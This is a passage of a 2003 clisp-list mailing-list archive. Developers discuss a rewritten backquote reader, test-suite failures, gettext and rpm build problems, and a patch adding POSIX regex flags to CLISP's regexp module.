(so you are still arguably doing part of a compiler's job there, oops!)
or having the backquote notation emit special annotations that hint to
the compiler that the reduction may be done, like:

 (SYSTEM::THE-RESULT-OF-BQ-EXPANSION (APPEND ...))

Hmm.



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After compiling the clisp from  CVS I got yesterday, there's one error
in the test cases:

$ cat /local/src/clisp/clisp/src/suite/*.erg

Form: (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #=
\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF (A=
REF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))=
) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF=
 (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO=
 S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)))))
CORRECT: ((8 NIL NIL) (16 NIL T) (16 NIL NIL) (32 NIL T) (32 NIL NIL))
CLISP  : ((8 NIL NIL) (16 NIL T) (16 NIL T) (32 NIL T) (32 NIL T))


(It seems that the garbage  collector reallocate the strings while the
expected behavior was that it should not).

Is this begnin (a test case not  up to date perhaps) or does this need
more investigation?

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Kaz,

here are some more testcases:

`(a (,@3) b)
(A 3 B)

`(a (,@3 4) b)
ERROR

I mention this one because I learnt about the (,@x) trick only recently (from cll?), despite having used CL for over a decade.
I still find this (degenerate?) case a little weird, it does not fit my mental model: ,@ -> produce a proper list, whereas here the outer parentheses disappear, depending on the inner value. But this property can have its uses.

There's always something new to learn in CLtL2/ANSI-CL :)

BTW, how's ., support going? I use that quite often. (Actually, it's not backquote special, it's dotted list syntax + ,).
`(a b .,c) -> (list* 'a 'b c)
`(a ,@b .,c) ->? (append '(a) b c) -> (a <^b...> <^c...>)
`(a ,. ...


Hmm, above (,@X) behaviour looks suspicious considering
http://www.lispworks.com/reference/HyperSpec/Body/02_df.htm
* `(x1 x2 x3 ... xn . atom) may be interpreted to mean
     (append [ x1] [ x2] [ x3] ... [ xn] (quote atom))
    -- [,@form] is interpreted as form.
and the requirement that append shall accept only proper lists (except for the last).
Neither does it seem to be covered by a CLtL2 interpretation of backquote and append
http://www.supelec.fr/docs/cltl/clm/node190.html#BACKQUOTE
http://www.supelec.fr/docs/cltl/clm/node149.html

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Hello Sam,

Wednesday, March 26, 2003, 1:10:59 AM, you wrote:

>>   Alexander Semashko told me he was unable to build clisp 2.30 (not
>>   CVS) under Linux (Alt Linux) with gettext. I.e. clisp builds, but
>>   *features* doesn't contain GETTEXT. He uses gettext 0.11.5.  He
>>   claims that there's no -DNO_GETTEXT in makefile. How can it be ?  I
>>   have no problem with FreeBSD & clisp CVS.

> $ grep -i gettext config.log
> configure:4535: checking for xgettext
> configure:4563: result: /usr/bin/xgettext
> configure:4673: checking for GNU gettext in libc
> ac_cv_path_XGETTEXT=/usr/bin/xgettext
> gt_cv_func_gnugettext2_libc=yes
> XGETTEXT='/usr/bin/xgettext'
> #define HAVE_DCGETTEXT 1
> #define HAVE_GETTEXT 1
> $

> what does he have there?

He has

configure:4261: checking for xgettext
configure:4289: result: /usr/local/bin/xgettext
configure:4399: checking for GNU gettext in libc
ac_cv_path_XGETTEXT=/usr/local/bin/xgettext
gt_cv_func_gnugettext2_libc=yes

#define HAVE_GETTEXT 1
#define HAVE_DCGETTEXT 1

Does it tell you something ?

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> * In message <20030327063311.17C9C97C9B@thalassa.informatimago.com>
> * On the subject of "[clisp-list] strings.erg"
> * Sent on Thu, 27 Mar 2003 07:33:11 +0100 (CET)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> After compiling the clisp from CVS I got yesterday, there's one error
> in the test cases:
> 
> CORRECT: ((8 NIL NIL) (16 NIL T) (16 NIL NIL) (32 NIL T) (32 NIL NIL))
> CLISP  : ((8 NIL NIL) (16 NIL T) (16 NIL T) (32 NIL T) (32 NIL T))

<http://clisp.cons.org/wanted.html#unrealloc>

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> * In message <1223176928.20030327181643@inbox.ru>
> * On the subject of "Re[2]: [clisp-list] linux: unable to build with gettext"
> * Sent on Thu, 27 Mar 2003 18:16:43 +1000
> * Honorable Arseny Slobodjuck <ampy@inbox.ru> writes:
>
> Wednesday, March 26, 2003, 1:10:59 AM, you wrote:
> 
> >>   Alexander Semashko told me he was unable to build clisp 2.30 (not
> >>   CVS) under Linux (Alt Linux) with gettext. I.e. clisp builds, but
> >>   *features* doesn't contain GETTEXT. He uses gettext 0.11.5.  He
> >>   claims that there's no -DNO_GETTEXT in makefile. How can it be ?  I
> >>   have no problem with FreeBSD & clisp CVS.

src/lispbibl.d:
# Whether to use the GNU gettext library for internationalization:
#if defined(ENABLE_NLS) && !defined(NO_GETTEXT)
  #define GNU_GETTEXT
#endif

src/spvw.d:

     #ifdef GNU_GETTEXT
      " :GETTEXT"
     #endif

i.e., he has to check for ENABLE_NLS too:

$ grep -i NLS config.log
configure:4647: checking whether NLS is requested
USE_NLS='yes'
#define ENABLE_NLS 1
$


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On Thu, 27 Mar 2003, Hoehle, Joerg-Cyril wrote:

> Date: Thu, 27 Mar 2003 11:13:40 +0100
> From: "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com>
> To: clisp-list@lists.sourceforge.net
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> Subject: Re: New, from-scratch implementation of backquote.
> 
> Kaz,
> 
> here are some more testcases:
> 
> `(a (,@3) b)
> (A 3 B)

This works, because (APPEND ... 3) works. Also:

  `(a (2 ,@3) b)

gets you

  (A (2 . 3) B)

I consider these behaviors extensions, because the HyperSpec states that
`(x1 .. xn) is handled like `(x1 ... xn . nil) using the `(... . atom)
case.

So the abstract semantics say that you should get:

  (APPEND 3 'NIL) -> ERROR

But I deviate from the abstract semantics in my implementation and
do not handle (x1 ... xn . nil) in the same way as any other atom;
I chop the NIL off so (APPEND 3) is generated (and then optimized).

> I mention this one because I learnt about the (,@x) trick only
> recently (from cll?), despite having used CL for over a decade.

This tells me that the trick is circulating in the culture, which tells
me that other Lisp implemenations have it, so it would indeed be a bad
idea to reject the syntax.  Oh, and among those ``other''
implementations is the unpatched CLISP.

> I still find this (degenerate?) case a little weird, it does not fit
> my mental model: ,@ -> produce a proper list, whereas here the outer
> parentheses disappear, depending on the inner value. But this property
> can have its uses.

That's right; it does not fit the mental model of list splicing at all.

Nor does it fit the mental model ``if it's an atom, splice it in
alone as if it were a list of one element'', because then it would
work in any position, not just the last.

It only fits that mental model which pictures it as supplying an
argument to append: `(,@A ,@B ,@C) --> (APPEND A B C). So if C
evaluates to an atom, you get (APPEND A B <atom>), which is supported
by that function.

> BTW, how's ., support going? I use that quite often. (Actually, it's
> not backquote special, it's dotted list syntax + ,).
> `(a b .,c) -> (list* 'a 'b c)

Supported from day one; I was working closely from the CLHS, so as to
not miss any requirements.

(macroexpand-1 '`(a b . ,c)) -> (LIST* 'A 'B C)

> `(a ,@b .,c) ->? (append '(a) b c) -> (a <^b...> <^c...>)
> `(a ,. ...

(macroexpand-1 '`(a ,@b . ,c)) -> (CONS 'A (APPEND B C))



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> * In message <Pine.LNX.4.44.0303270725060.12820-100000@ashi.FootPrints.net>
> * On the subject of "Re: New patch."
> * Sent on Thu, 27 Mar 2003 07:27:39 -0800 (PST)
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> http://users.footprints.net/~kaz/clisp-cvs-2003-04-26-backquote.diff

read-from-string "`,@x")
-ERROR
+(SYSTEM::BACKQUOTE (SYSTEM::SPLICE X))

this is not good:  backquote is a reader macro, so the error must be
signalled at read time, not macroexpand time (CMUCL and unpatched CLISP
signal at read time).

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On 27 Mar 2003, Sam Steingold wrote:

> > * In message <Pine.LNX.4.44.0303270725060.12820-100000@ashi.FootPrints.net>
> > * On the subject of "Re: New patch."
> > * Sent on Thu, 27 Mar 2003 07:27:39 -0800 (PST)
> > * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
> >
> > http://users.footprints.net/~kaz/clisp-cvs-2003-04-26-backquote.diff
> 
> read-from-string "`,@x")
> -ERROR
> +(SYSTEM::BACKQUOTE (SYSTEM::SPLICE X))
> 
> this is not good:  backquote is a reader macro, so the error must be
> signalled at read time, not macroexpand time (CMUCL and unpatched CLISP
> signal at read time).

If you are really adamant about catching `,@FORM at read time,
it can be achieved trivially. After the the backquote reader
reads the following object, if it's a cons whose car is the symbol
SYSTEM::SPLICE or SYSTEM::NSPLICE, then signal the error.
But I think that the macro-expansion-time check should stay in place,
to trap cases when the error occurs in ``synthetic'' backquotes.

CLHS says that `,@FORM ``has undefined consequences'', which means that
the behavior can range from harmless to fatal, without signaling an
error.  So I think this implementation is acceptable.  In principle we
could even silently provide some extension of behavior.

In practice, will the difference matter to anyone? Typically the
backquote macro will be expanded at compile time, which is right
after the source is read.

It makes a difference to backquotes that are not evaluates or expanded,
such as quoted occurences. This just means that CLISP won't be a
portability helper to the user in some rare cases.

Besides, both the unpatched CLISP and CMUCL have backquote bugs, so
phwft! :) I got this in an e-mail from Rob Warnock, though I did not
try it first hand:

  cmucl> ``(,@,@'(a b c d))

  Reader error at 202581 on #<Two-Way Stream, Input = #<Synonym Stream to SYSTEM:*STDIN*>, Output = #<Synonym Stream to SYSTEM:*STDOUT*>>:
  ,@ after backquote in '(A B C D)

Looks like the CMUCL reader likes to signal a ``,@ after backquote''
error even when no such mistake occurs in the source, and consequently
fails to handle ,@,@ properly!  Maybe if I ever fix this bug, the CMUCL
behavior will change so that `,@FORM is caught later than read time. ;)



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> * In message <Pine.LNX.4.44.0303270907370.15296-100000@ashi.FootPrints.net>
> * On the subject of "Re: New patch."
> * Sent on Thu, 27 Mar 2003 10:23:48 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> On 27 Mar 2003, Sam Steingold wrote:
> > > * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
> > >
> > > http://users.footprints.net/~kaz/clisp-cvs-2003-04-26-backquote.diff
> > 
> > read-from-string "`,@x")
> > -ERROR
> > +(SYSTEM::BACKQUOTE (SYSTEM::SPLICE X))
> > 
> > this is not good:  backquote is a reader macro, so the error must be
> > signalled at read time, not macroexpand time (CMUCL and unpatched CLISP
> > signal at read time).
> 
> If you are really adamant about catching `,@FORM at read time,
> it can be achieved trivially. After the the backquote reader
> reads the following object, if it's a cons whose car is the symbol
> SYSTEM::SPLICE or SYSTEM::NSPLICE, then signal the error.
> But I think that the macro-expansion-time check should stay in place,
> to trap cases when the error occurs in ``synthetic'' backquotes.

maybe the BACKQUOTE macro should be expanded at read time, just like
CLISP does right now.

> CLHS says that `,@FORM ``has undefined consequences'', which means
> that the behavior can range from harmless to fatal, without signaling
> an error.  So I think this implementation is acceptable.  In principle
> we could even silently provide some extension of behavior.

CLISP usually signals an error in "undefined consequences".

> In practice, will the difference matter to anyone? Typically the
> backquote macro will be expanded at compile time, which is right
> after the source is read.

the earlier you detect errors the better, right?

> It makes a difference to backquotes that are not evaluates or expanded,
> such as quoted occurences. This just means that CLISP won't be a
> portability helper to the user in some rare cases.

why? if CLISP detects errors earlier than it has to, it's good!

> Besides, both the unpatched CLISP and CMUCL have backquote bugs

I think the new BQ should improve in all areas.
removing some bugs (improving!) and moving error detection to a later
time (deterioration?) is not nice.

I am not really sure on this, so maybe you could raise this issue on
c.l.l?
thanks!

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On 27 Mar 2003, Sam Steingold wrote:

> > On 27 Mar 2003, Sam Steingold wrote:
> > > > * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
> > > >
> > > > http://users.footprints.net/~kaz/clisp-cvs-2003-04-26-backquote.diff
> > > 
> > > read-from-string "`,@x")
> > > -ERROR
> > > +(SYSTEM::BACKQUOTE (SYSTEM::SPLICE X))
> > > 
> > > this is not good:  backquote is a reader macro, so the error must be
> > > signalled at read time, not macroexpand time (CMUCL and unpatched CLISP
> > > signal at read time).
> > 
> > If you are really adamant about catching `,@FORM at read time,
> > it can be achieved trivially. After the the backquote reader
> > reads the following object, if it's a cons whose car is the symbol
> > SYSTEM::SPLICE or SYSTEM::NSPLICE, then signal the error.
> > But I think that the macro-expansion-time check should stay in place,
> > to trap cases when the error occurs in ``synthetic'' backquotes.
> 
> maybe the BACKQUOTE macro should be expanded at read time, just like
> CLISP does right now.

You just need something like this version of backquote-reader:

(defun backquote-reader (stream char)
  (declare (ignore char))
  (let* ((*unquote-occured* nil)
	 (*reading-array* nil)
	 (*backquote-level* (1+ (or *backquote-level* 0)))
	 (object (read stream t nil t)))

    ;; Check for unquotes in wrong type objects.
    (unless (or (and (vectorp object)
	             (not (stringp object))
		     (not (bit-vector-p object)))
	        (listp object))
      (when *unquote-occured*
	(error-of-type 'error 
	  (TEXT "~S: unquotes may occur only in (...) or #(...) forms")
	  'read)))

    ;; Read-time check for ,@ or ,. not in list.
    ;; Also tested at macro-expansion time for
    ;; backquotes synthesized by means other than the reader
    (when (consp object)
      (case (car object)
	((SPLICE)
	   (error-of-type 'error 
	     (TEXT "the syntax `,@form is undefined behavior")))
	((NSPLICE) 
	   (error-of-type 'error 
	     (TEXT "the syntax `,.form is undefined behavior")))))
    (list 'BACKQUOTE object)))

> I am not really sure on this, so maybe you could raise this issue on
> c.l.l?

What for; it's clear you want early detection. On c.l.l, people will
probably just reiterate that it's undefined behavior, but that catching
errors early is nice. ;)



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Hoehle, Joerg-Cyril writes:

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with-c-var/cast

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   Run time: 1.09 sec. (it was 1.17)
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   GC: 4, GC time: 0.54 sec.

with-foreign-object/%cast

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   GC: 2, GC time: 0.27 sec.

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 > the CLISP FFI. Depending on LOAD-TIME-VALUE means that in theory,
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my FFI code for Berkeley DB works fine with this new definition.


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> * In message <Pine.LNX.4.44.0303271157210.18990-100000@ashi.FootPrints.net>
> * On the subject of "Re: New patch."
> * Sent on Thu, 27 Mar 2003 12:13:41 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> (defun backquote-reader (stream char)
>   (declare (ignore char))
>   (let* ((*unquote-occured* nil)
> 	 (*reading-array* nil)
> 	 (*backquote-level* (1+ (or *backquote-level* 0)))
> 	 (object (read stream t nil t)))
> 
>     ;; Check for unquotes in wrong type objects.
>     (unless (or (and (vectorp object)
> 	             (not (stringp object))
> 		     (not (bit-vector-p object)))
> 	        (listp object))
>       (when *unquote-occured*
> 	(error-of-type 'error 
> 	  (TEXT "~S: unquotes may occur only in (...) or #(...) forms")
> 	  'read)))

what if we had something like

`(foo #2A((a b) (,c d))) ??

>     ;; Read-time check for ,@ or ,. not in list.
>     ;; Also tested at macro-expansion time for
>     ;; backquotes synthesized by means other than the reader
>     (when (consp object)
>       (case (car object)
> 	((SPLICE)
> 	   (error-of-type 'error 
> 	     (TEXT "the syntax `,@form is undefined behavior")))
> 	((NSPLICE) 
> 	   (error-of-type 'error 
> 	     (TEXT "the syntax `,.form is undefined behavior")))))
>     (list 'BACKQUOTE object)))
> 
> > I am not really sure on this, so maybe you could raise this issue on
> > c.l.l?
> 
> What for; it's clear you want early detection. On c.l.l, people will
> probably just reiterate that it's undefined behavior, but that catching
> errors early is nice. ;)

you never know, we may hear some additional insight!

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On 27 Mar 2003, Sam Steingold wrote:

> >     ;; Check for unquotes in wrong type objects.
> >     (unless (or (and (vectorp object)
> > 	             (not (stringp object))
> > 		     (not (bit-vector-p object)))
> > 	        (listp object))
> >       (when *unquote-occured*
> > 	(error-of-type 'error 
> > 	  (TEXT "~S: unquotes may occur only in (...) or #(...) forms")
> > 	  'read)))
> 
> what if we had something like
> 
> `(foo #2A((a b) (,c d))) ??

Although *that* particular case will be handled by the fact that #2A
reader will bind *reading-array* to T, which is checked by the
COMMA-READER, the flaw you are thinking of is demonstrated by:

 `(foo #S(my-struct :foo ,c))  ;; no read error

Boy, is my face red.  *blush*

I think that there is no nice way to get around the coupling between
the backquote reader and the array and struct readers.  Regardless of
who establishes the special variable, the other has to dynamically
clobber it. Either backquote-reader binds *reading-array* to NIL, or
the array-reader binds *unquote-level* to zero.

Looks like I have a tiny little bit of work to do here. 

What I will do is generalize the *reading-array* variable to also
indicate that a struct is being read (and change its name).

The advantage of this approach, rather than fiddling with
*backquote-level* is that we can produce a more informative error like
``unquote in wrong type object'' rather than the confusing ``comma
outside of backquote'' which appears to contradict the structure of the
text that the user actually typed.

The aim is to have distinct errors for the situations of naked
unquotes, unquotes that outnumber backquotes, and unquotes in wrong
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I'm not a LISP hacker, but I needed to build[1] CLISP for a couple 
researchers here at OGI.

I grabbed the clisp-2.30.tar.gz tarball[2], read the documentation 
about building it on Unix, ran 'configure --help', and then built it. 
Everything went fine, and it passed the testsuite without error.

So I encapsulated my build instructions into a .spec file (anally, I 
tend to write my own, so I didn't use Sam's version in the 
distribution tree) and ran rpmbuild.

Ack! Errors (apparently at the beginning of streams.tst):

(MULTIPLE-VALUE-SETQ (A B) (VALUES 10 20)) 
EQL-OK: 10
B 
EQL-OK: 20
*** - handle_fault error2 ! address = 0x20324060 not in [0x201F4000,0x202E333C) !
SIGSEGV cannot be cured. Fault address = 0x20324060.
make[1]: *** [tests] Segmentation fault
make[1]: Leaving directory `/var/tmp/rpmbuild/clisp-2.30/src/suite'
make: *** [testsuite] Error 2

Experienced rpm builders will see that my %_builddir is set to
/var/tmp/rpmbuild, instead of the standard /usr/src/redhat/BUILD.

And *that* was the trouble:

  Build directory[3]    Result of 'make check'
  --------------------  ----------------------
  /tmp                  pass
  /var/tmp              pass
  /var/tmp/rpmbuild     fail
  /var/tmp/rpmbuil      pass
  /var/tmp/rpmbuilc     fail
  /var/tmp/rpmbuilcd    pass
  /var/tmp/xxxxxxxx     fail
  /var/tmp/xxxxxxx      pass

Any build in a directory named /var/tmp/<8 letters> failed.

Wierder, all those /var/tmp/rpmbuil* directories were actually the
same directory; I just renameded it between test builds. I even
deleted one incarnation of /var/tmp/rpmbuild and mkdir-ed another,
just for the heck of it. Same results. I tried mounting
/var/tmp/rpmbuild as a tmpfs volume. Same results. I tried the build
on a different, but similarly configured system. Same results.

I'm not a member of this list, but if someone could tell why the
testsuite fails in this manner -- be it my own mistake or not -- I'd
be much obliged.

+-----------------------------------------+----------------------+
| Paul Heinlein                           | heinlein@cse.ogi.edu |
| Research Systems Engineer               |      +1 503 748-1472 |
| Dept. of Computer Science & Engineering | 20000 NW Walker Road |
| OGI School of Science & Engineering     |  Beaverton, OR 97006 |
| Oregon Health & Science University      |                  USA |
+-----------------------------------------+----------------------+

[1] Build host info:
    * Red Hat 8, fully patched, 2.4.18-27.8.0 i686
    * gcc 3.2
    * GNU libc 2.3.2
    * Intel(R) Pentium(R) 4 CPU 1.80GHz

[2] md5sum: 57a8688957ddb8914a8a3ebb6a7c8676

[3] There are no typos in any of the directory names.



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> * In message <Pine.LNX.4.44.0303281403190.6472-100000@glenfiddich.cse.ogi.edu>
> * On the subject of "[clisp-list] clisp rpm oddness"
> * Sent on Fri, 28 Mar 2003 14:40:11 -0800 (PST)
> * Honorable Paul Heinlein <heinlein@cse.ogi.edu> writes:
>
> Ack! Errors (apparently at the beginning of streams.tst):
> 
> (MULTIPLE-VALUE-SETQ (A B) (VALUES 10 20)) 
> EQL-OK: 10
> B 
> EQL-OK: 20
> *** - handle_fault error2 ! address = 0x20324060 not in [0x201F4000,0x202E333C) !
> SIGSEGV cannot be cured. Fault address = 0x20324060.
> make[1]: *** [tests] Segmentation fault
> make[1]: Leaving directory `/var/tmp/rpmbuild/clisp-2.30/src/suite'
> make: *** [testsuite] Error 2

I do not observe this.

> Experienced rpm builders will see that my %_builddir is set to
> /var/tmp/rpmbuild, instead of the standard /usr/src/redhat/BUILD.
> 
> And *that* was the trouble:
> 
>   Build directory[3]    Result of 'make check'
>   --------------------  ----------------------
>   /tmp                  pass
>   /var/tmp              pass
>   /var/tmp/rpmbuild     fail
>   /var/tmp/rpmbuil      pass
>   /var/tmp/rpmbuilc     fail
>   /var/tmp/rpmbuilcd    pass
>   /var/tmp/xxxxxxxx     fail
>   /var/tmp/xxxxxxx      pass
> 
> Any build in a directory named /var/tmp/<8 letters> failed.

wow!

what about /tmp/foo-bar-baz-zot?

could you please try debugging this?  I.e.,

$ ./configure --with-debug --build
<segfault>
$ gdb
> run
> (load "suite/tests")
> (run-all-tests)

(or something like that)

thanks.

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Any reason in particular why  REGEXP does not implement the flags that
are exported by mregcomp?  The  lack of '+' is particularly painful in
non extended posix regexps...


(defun regexp-compile (pattern
                        &optional (case-sensitive t)
                        (extended nil)
                        (newline nil)
                        (nosub nil))
  (let (errcode compiled-pattern)
    (assert (zerop (setf (values errcode compiled-pattern)
                         (mregcomp pattern
                                   (+ (if case-sensitive 0 REG_ICASE)
                                      (if extended 0 REG_EXTENDED)
                                      (if newline 0 REG_NEWLINE)
                                      (if nosub 0 REG_NOSUB)))))
            (pattern)
            "~s: ~a" 'regexp-compile (mregerror errcode compiled-pattern)=
)
    ;; Arrange that when compiled-pattern is garbage-collected,
    ;; mregfree will be called.
    (ext:finalize compiled-pattern #'mregfree-finally)
    compiled-pattern)
  );;REGEXP-COMPILE


(defun match-once (pattern string &key (start 0) (end nil)
                            (case-sensitive t)
                            (extended nil)
                            (newline nil)
                            (nosub nil))
  (regexp-exec (regexp-compile pattern case-sensitive extended newline no=
sub)
               string :start start :end end)
  );;REGEXP-COMPILE


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> * In message <20030330004921.28E622377F@thalassa.informatimago.com>
> * On the subject of "[clisp-list] regexp not extended ?"
> * Sent on Sun, 30 Mar 2003 01:49:21 +0100 (CET)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> Any reason in particular why REGEXP does not implement the flags that
> are exported by mregcomp?  The lack of '+' is particularly painful in
> non extended posix regexps...

would you be happy with the appended patch?

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--- regexp.lisp.~1.8.~	2002-04-16 14:13:11.000000000 -0400
+++ regexp.lisp	2003-03-29 21:15:36.000000000 -0500
@@ -163,24 +160,35 @@
   (:return-type c-string :malloc-free))
 (def-call-out mregfree (:arguments (preg regex_t-ptr))
   (:return-type nil))
-; cflags values
+;; cflags values
+(eval-when (compile load eval)
 (defconstant REG_EXTENDED 1)
 (defconstant REG_ICASE    2)
 (defconstant REG_NEWLINE  4)
-(defconstant REG_NOSUB    8)
-; eflags values
+  (defconstant REG_NOSUB    8))
+;; eflags values
+(eval-when (compile load eval)
 (defconstant REG_NOTBOL   1)
-(defconstant REG_NOTEOL   2)
+  (defconstant REG_NOTEOL   2))
 
 (defun mregfree-finally (compiled-pattern)
   ;; beware: compiled-pattern could come from a previous session
   (when (validp compiled-pattern)
     (mregfree compiled-pattern)))
 
-(defun regexp-compile (pattern &optional (case-sensitive t))
+(defmacro cflags (extended case-sensitive newline nosub)
+  `(+ (if ,extended REG_EXTENDED 0)
+      (if ,case-sensitive 0 REG_ICASE)
+      (if ,newline REG_NEWLINE 0)
+      (if ,nosub REG_NOSUB 0)))
+(defconstant cflags-max  (+ REG_EXTENDED REG_ICASE REG_NEWLINE REG_NOSUB))
+
+(defun regexp-compile (pattern &key (extended nil) (case-sensitive t)
+                       (newline nil) (nosub nil)
+                       (cflags (cflags extended case-sensitive newline nosub)))
   (let (errcode compiled-pattern)
     (assert (zerop (setf (values errcode compiled-pattern)
-                         (mregcomp pattern (if case-sensitive 0 REG_ICASE))))
+                         (mregcomp pattern cflags)))
             (pattern)
             "~s: ~a" 'regexp-compile (mregerror errcode compiled-pattern))
     ;; Arrange that when compiled-pattern is garbage-collected,
@@ -188,6 +196,7 @@
     (ext:finalize compiled-pattern #'mregfree-finally)
     compiled-pattern))
 
+(eval-when (compile load eval)
 (setf (fdefinition 'match-start) (fdefinition 'regmatch_t-rm_so))
 (setf (fdefinition '(setf match-start))
       (lambda (new-value match) (setf (regmatch_t-rm_so match) new-value)))
@@ -195,8 +204,14 @@
 (setf (fdefinition 'match-end) (fdefinition 'regmatch_t-rm_eo))
 (setf (fdefinition '(setf match-end))
       (lambda (new-value match) (setf (regmatch_t-rm_eo match) new-value)))
+)
+
+(defmacro eflags (notbol noteol)
+  `(+ (if ,notbol REG_NOTBOL 0) (if ,noteol REG_NOTEOL 0)))
 
-(defun regexp-exec (compiled-pattern string &key (start 0) (end nil))
+(defun regexp-exec (compiled-pattern string &key (start 0) (end nil)
+                    (notbol nil) (noteol nil)
+                    (eflags (eflags notbol noteol)))
   (assert (stringp string) (string)
           "~s: the second argument must be a string, not ~s"
           'regexp-exec string)
@@ -215,7 +230,7 @@
                          :displaced-index-offset start))))
     (declare (string string))
     (multiple-value-bind (errcode matches)
-        (regexec compiled-pattern string #.num-matches 0)
+        (regexec compiled-pattern string #.num-matches eflags)
       ;; Compute return values.
       (if (zerop errcode)
         (values-list          ; the first value will be non-NIL
@@ -235,71 +250,87 @@
 
 ;; The following implementation of MATCH compiles the pattern
 ;; once for every search.
-(defun match-once (pattern string &key (start 0) (end nil) (case-sensitive t))
-  (regexp-exec (regexp-compile pattern case-sensitive)
-               string :start start :end end))
+(defun match-once (pattern string &key (start 0) (end nil)
+                   (extended nil) (case-sensitive t)
+                   (newline nil) (nosub nil)
+                   (cflags (cflags extended case-sensitive newline nosub))
+                   (notbol nil) (noteol nil)
+                   (eflags (eflags notbol noteol)))
+  (regexp-exec (regexp-compile pattern :cflags cflags)
+               string :start start :end end :eflags eflags))
 
 ;; The following implementation of MATCH compiles the pattern
 ;; only once per Lisp session, if it is a literal string.
 (defmacro match (pattern string &rest more-forms)
   (if (stringp pattern)
     `(%MATCH (MATCHER ,pattern) ,string ,@more-forms)
-    `(MATCH-ONCE ,pattern ,string ,@more-forms)
-) )
+    `(MATCH-ONCE ,pattern ,string ,@more-forms)))
 
 (defmacro matcher (pattern)
   (declare (string pattern))
-  `(LOAD-TIME-VALUE (%MATCHER ,pattern))
-)
+  `(LOAD-TIME-VALUE (%MATCHER ,pattern)))
 (defun %matcher (pattern)
-  (list* pattern nil nil)
-  ; car = pattern,
-  ; cadr = compiled pattern, case sensitive,
-  ; cddr = compiled pattern, case insensitive.
-)
-
-(defun %match (patternbox string &key (start 0) (end nil) (case-sensitive t))
+  (let ((ma (make-array (1+ cflags-max))))
+    (setf (svref ma cflags-max) pattern)
+    ma))
+
+(defun %match (patternbox string &key (start 0) (end nil)
+               (extended nil) (case-sensitive t)
+               (newline nil) (nosub nil)
+               (cflags (cflags extended case-sensitive newline nosub))
+               (notbol nil) (noteol nil)
+               (eflags (eflags notbol noteol)))
   ;; Compile the pattern, if not already done.
-  (let ((compiled-pattern
-          (if case-sensitive (cadr patternbox) (cddr patternbox))))
+  (let ((compiled-pattern (svref patternbox cflags)))
     (unless (and compiled-pattern (validp compiled-pattern))
-      (setq compiled-pattern (regexp-compile (car patternbox) case-sensitive))
-      (if case-sensitive
-        (setf (cadr patternbox) compiled-pattern)
-        (setf (cddr patternbox) compiled-pattern)))
-    (regexp-exec compiled-pattern string :start start :end end)))
+      (setq compiled-pattern (regexp-compile (svref patternbox cflags-max)
+                                             :cflags cflags))
+      (setf (svref patternbox cflags) compiled-pattern))
+    (regexp-exec compiled-pattern string :start start :end end
+                 :eflags eflags)))
 
-; Convert a match (of type regmatch_t) to a substring.
+;; Convert a match (of type regmatch_t) to a substring.
 (defun match-string (string match)
   (let ((start (match-start match))
         (end (match-end match)))
     (make-array (- end start)
                 :element-type 'character
                 :displaced-to string
-                :displaced-index-offset start
-) ) )
+                :displaced-index-offset start)))
 
-; Utility function
-(defun regexp-quote (string)
+;; Utility function
+(defun regexp-quote (string &optional extended)
   (let ((qstring (make-array 10 :element-type 'character
                                 :adjustable t :fill-pointer 0)))
-    (map nil (lambda (c)
+    (map nil (if extended
+               (lambda (c)
                (case c
-                 ((#\$ #\^ #\. #\* #\[ #\] #\\) ; #\+ #\?
+                   ((#\$ #\^ #\. #\* #\[ #\] #\\ #\+ #\?)
                    (vector-push-extend #\\ qstring)))
                (vector-push-extend c qstring))
+               (lambda (c)
+                 (case c
+                   ((#\$ #\^ #\. #\* #\[ #\] #\\)
+                    (vector-push-extend #\\ qstring)))
+                 (vector-push-extend c qstring)))
          string)
     qstring))
 
-(defun regexp-split (pattern string &key (start 0) end (case-sensitive t))
+(defun regexp-split (pattern string &key (start 0) end
+                     (extended nil) (case-sensitive t)
+                     (newline nil) (nosub nil)
+                     (cflags (cflags extended case-sensitive newline nosub))
+                     (notbol nil) (noteol nil)
+                     (eflags (eflags notbol noteol)))
   "Split the STRING by the regexp PATTERN.
 Return a list of substrings of STRINGS."
   (loop
     :with compiled =
             (if (stringp pattern)
-              (regexp-compile pattern case-sensitive)
+              (regexp-compile pattern :cflags cflags)
               pattern)
-    :for match = (regexp-exec compiled string :start start :end end)
+    :for match = (regexp-exec compiled string :start start :end end
+                              :eflags eflags)
     :collect
       (make-array (- (if match (match-start match) (length string)) start)
                   :element-type 'character
@@ -309,19 +340,28 @@
     :do (setq start (match-end match))))
 
 (defmacro with-loop-split ((var stream pattern
-                            &key (start 0) end (case-sensitive t))
+                            &key (start 0) end
+                            (extended nil) (case-sensitive t)
+                            (newline nil) (nosub nil)
+                            (cflags `(cflags ,extended ,case-sensitive
+                                             ,newline ,nosub))
+                            (notbol nil) (noteol nil)
+                            (eflags (eflags notbol noteol)))
                            &body forms)
   "Read from STREAM one line at a time, binding VAR to the split line.
 The line is split with REGEXP-SPLIT using PATTERN."
-  (let ((compiled-pattern (gensym "WLS-")) (line (gensym "WLS-")))
+  (let ((compiled-pattern (gensym "WLS-")) (line (gensym "WLS-"))
+        (ef (gensym "WLS-")))
     `(loop
        :with ,compiled-pattern =
          (if (stringp ,pattern)
-           (regexp-compile ,pattern ,case-sensitive)
+           (regexp-compile ,pattern :cflags ,cflags)
            ,pattern)
+       :and ,ef = ,eflags
        :and ,var
        :for ,line = (read-line ,stream nil nil)
        :while ,line
        :do (setq ,var
